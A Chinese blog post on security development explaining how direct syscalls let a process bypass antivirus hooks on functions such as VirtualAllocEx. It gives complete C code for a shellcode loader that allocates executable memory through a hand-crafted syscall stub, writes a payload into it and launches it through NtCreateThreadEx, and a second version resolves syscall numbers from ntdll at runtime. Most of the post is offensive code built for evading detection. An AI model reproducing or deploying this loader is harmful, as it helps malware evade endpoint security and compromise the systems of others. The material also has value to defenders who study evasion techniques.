使用系统调用SYSCALL规避杀软HOOK

在进程注入的时候会出现一些敏感函数被HOOK的情况 像VirtualAllocEx,WriteProcessMemory都是重点关注的函数 本文通过直接调用系统调用号绕过杀软HOOK,syscall限于64位 ## 0x01 系统...

在进程注入的时候会出现一些敏感函数被HOOK的情况

像VirtualAllocEx,WriteProcessMemory都是重点关注的函数

本文通过直接调用系统调用号绕过杀软HOOK,syscall限于64位

0x01 系统调用号

打个比方

VirtualAllocEx不是用户层的最后一个函数

VirtualAllocEx->VirtualAllocExNuma->ZwAllocateVirtualMemory

最后ZwAllocateVirtualMemory函数进入内核层

这些底层的函数都有一个数字,在windows10的情况下ZwAllocateVirtualMemory对应的号就是0x18号

简单说就是底层函数对应的那个数字就是系统调用号

下面用dbg跟一下VirtualAllocEx

这是主函数里面VirtualAllocEx用F7跟进

上面调整下堆栈,然后jmp到VirtualAllocEx函数位置

这里看到调用了VirtualAllocExNuma

这里就调到了ntdll.dll里面的ZwAllocateVirtualMemory,基本到ntdll.dll里面是用户层底层函数了

到这里就可以看到调用号是18了,上面也有一些别的调用号对应的函数

mov r10,rcx
mov eax,18
test byte ptr ds:[7FFE0308],1
jne ntdll.7FFAA5D22B15
syscall
ret

上面这段就是执行系统调用号对应的函数

test byte ptr ds:[7FFE0308],1
jne ntdll.7FFAA5D22B15

这是用来校验的可以删掉

mov r10,rcx
mov eax,18      #将系统调用号存入eax中
syscall         #进入内核层
ret

上面的四行就可以调用用户层最下层函数

不同系统的系统调用号是不同的,可以在下面这个网站查询,找不到的函数Zw修改Nt就可以

https://j00ru.vexillium.org/syscalls/nt/64/

0x02 代码实现

VirtualAllocEx -> NtAllocateVirtualMemory -> 0x18
WriteMemory -> NtWriteVirtualMemory -> 0x3a
CreateRemoteThread -> NtCreateThreadEx -> 0xc6

这是三个敏感函数对应的底层函数

这次不使用NtWriteVirtualMemory函数就用普通的WriteMemory写内存,因为NtWriteVirtualMemory涉及内存保护比较麻烦

ZwOpenProcess->ZwProtectVirtualMemory->ZwWriteVirtualMemory

要这样写,还没研究过就先不看了

上面的系统调用号都是windows11的,网站上只到windows10,所以有些对不上

这里就不写找的过程了,和上面是相同的

#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "shellcode";

char syscall_sc[] = {
    0x4c, 0x8b, 0xd1,
    0xb8, 0xb9, 0x00, 0x00, 0x00,   //系统调用号
    0x0f, 0x05,                     //syscall
    0xc3                            //ret
};

typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,                           //进程句柄
    PVOID* BaseAddress,                             //指向开辟内存的指针,二级指针
    ULONG_PTR ZeroBits,                             //不知道啥用直接置零
    PSIZE_T RegionSize,                             //指向开辟大小的指针
    ULONG AllocationType,                           //内存页
    ULONG Protect                                   //内存属性
);

typedef DWORD(WINAPI* fnNtCreateThreadEx)(
    PHANDLE ThreadHandle,                           //指向线程句柄的指针
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,                           //进程句柄
    LPTHREAD_START_ROUTINE lpstartAddress,          //要执行的函数
    LPVOID lpParameter,                             //函数的参数
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnknow
    );

//还有几个参数用不到置零就就可以

int main()
{

    SIZE_T SIZE = 0x1000;
    LPVOID Address  NULL;
    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1);            //得到进程句柄
    syscall_sc[4] = 0x18;                                               //修改模板调用号
    fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
    //设置执行函数就走到已修改过的syscall位置
    NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //调用NtAllocateVirtualMemory函数
    WriteProcessMemory(process, Address, buf, sizeof(buf), NULL);   //写内存
    syscall_sc[4] = 0xc6;                   //修改模板
    fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc;          //设置函数指针
    HANDLE hRemoteThread;
    DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0);        //执行线程
}

写过Hook的师傅可能知道,内联Hook都是直接修改函数的汇编,把正常执行的汇编跳到某个想执行的地方

上述方法直接调用底层函数,普通的Hook已经定位不到了,再高级一点Hook住ntdll.dll也是没用的,因为这里的syscall并不是通过ntdll.dll的,理论上来说已经避免了R3的Hook了

0x03 动态获取系统调用号

上面的代码还有个问题,不同版本的系统系统调用号也是不同的,甚至有些小版本的系统调用号也不同,这样写兼容肯定是很不好的,需要找到一种动态获取系统调用号的方法

先看一段代码

#include<stdio.h>
#include<Windows.h>
#pragma comment(linker, "/section:.data,RWE")

typedef LPVOID(WINAPI* fnNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
    );

int main() {
    SIZE_T SIZE = 0x1000;

    LPVOID Address = NULL;
    fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
    NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

}

用dbg查看下

GetProcAddress得到了函数指针存在ebx然后call过去

这里过去同样可以找到syscall号

可以通过得到函数指针,往后推四个字节得到syscall号

可以写个函数实现一下

#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "shellcode";

char syscall_sc[] = {
    0x4c, 0x8b, 0xd1,
    0xb8, 0xb9, 0x00, 0x00, 0x00,   //系统调用号
    0x0f, 0x05,                     //syscall
    0xc3                            //ret
};

typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,                           //进程句柄
    PVOID* BaseAddress,                             //指向开辟内存的指针,二级指针
    ULONG_PTR ZeroBits,                             //不知道啥用直接置零
    PSIZE_T RegionSize,                             //指向开辟大小的指针
    ULONG AllocationType,                           //内存页
    ULONG Protect                                   //内存属性
);

typedef DWORD(WINAPI* fnNtCreateThreadEx)(
    PHANDLE ThreadHandle,                           //指向线程句柄的指针
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,                           //进程句柄
    LPTHREAD_START_ROUTINE lpstartAddress,          //要执行的函数
    LPVOID lpParameter,                             //函数的参数
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnknow
    );

int GetSysCall(LPCSTR FuncName) {
    SIZE_T num;
    char sc[5];
    LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName);         //得到函数指针
    ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num);              //读取五个字节存到数组
    return sc[4];               //取得syscall号
}

int main()
{

    SIZE_T SIZE = 0x1000;
    LPVOID Address= NULL;
    ULONG write;
    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1);
    syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory");
    fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
    NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(process, Address, buf, sizeof(buf), NULL);
    syscall_sc[4] = GetSysCall("NtCreateThreadEx");
    fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc;
    HANDLE hRemoteThread;
    DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0);
    system(" pause");

}

这样就实现了动态获取系统调用号

0x04 参考

https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav

https://idiotc4t.com/defense-/dynamic-get-syscallid

  • 发表于 2021-12-24 09:31:09
  • 阅读 ( 8794 )
  • 分类:安全开发

0 条评论

请先 登录 后评论
Macchiato
Macchiato

13 篇文章

站长统计